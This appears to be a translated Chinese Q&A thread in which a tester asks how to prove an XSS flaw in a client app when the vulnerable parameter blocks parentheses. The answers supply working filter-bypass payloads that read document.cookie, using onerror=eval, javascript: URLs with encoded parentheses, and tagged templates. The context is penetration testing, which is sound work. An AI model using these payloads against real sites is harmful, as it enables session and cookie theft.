我在客户端应用程序中发现了跨站脚本漏洞。问题是易受攻击的参数不接受括号。所以像
alert(document.cookie)
这样的东西会因为括号而被拒绝。我可以使用 alert `xss`
获取 XSS,但我的客户需要能够访问 DOM 的证明。
换句话说,我怎样才能
alert(document.cookie)
不带括号,还有其他选择吗?
谢谢!
document.body.innerHTML=document.cookie
将在页面本身上显示 cookie。
说到 XSS 漏洞:是的,它很容易受到攻击,禁用括号只会迫使攻击者使用更有创意的方法。让某人执行任何任意代码都是一种责任。
这是一个简单的示例,说明如何使用任何参数调用任何函数,而无需在输入中使用任何括号:
<p>Malicious input: window.onerror=eval;throw '=1;alert\u0028document.location\u0029'</p>
<input type="button" onclick="window.onerror=eval;throw '=1;alert\u0028document.location\u0029'" value="Click me">
这是另一个对我有用的解决方案:
<script>
var firstname = 'aa';document.location='javascript:alert%28document.cookie%29';//';
</script>
有效负载将是:
?vulnparam=aa';document.location='javascript:alert%2528document.cookie%2529';//
@tcooc 答案也有效。
这也可以在不使用=的情况下工作
<script>Function`X${alert`${document.cookie}`}```</script>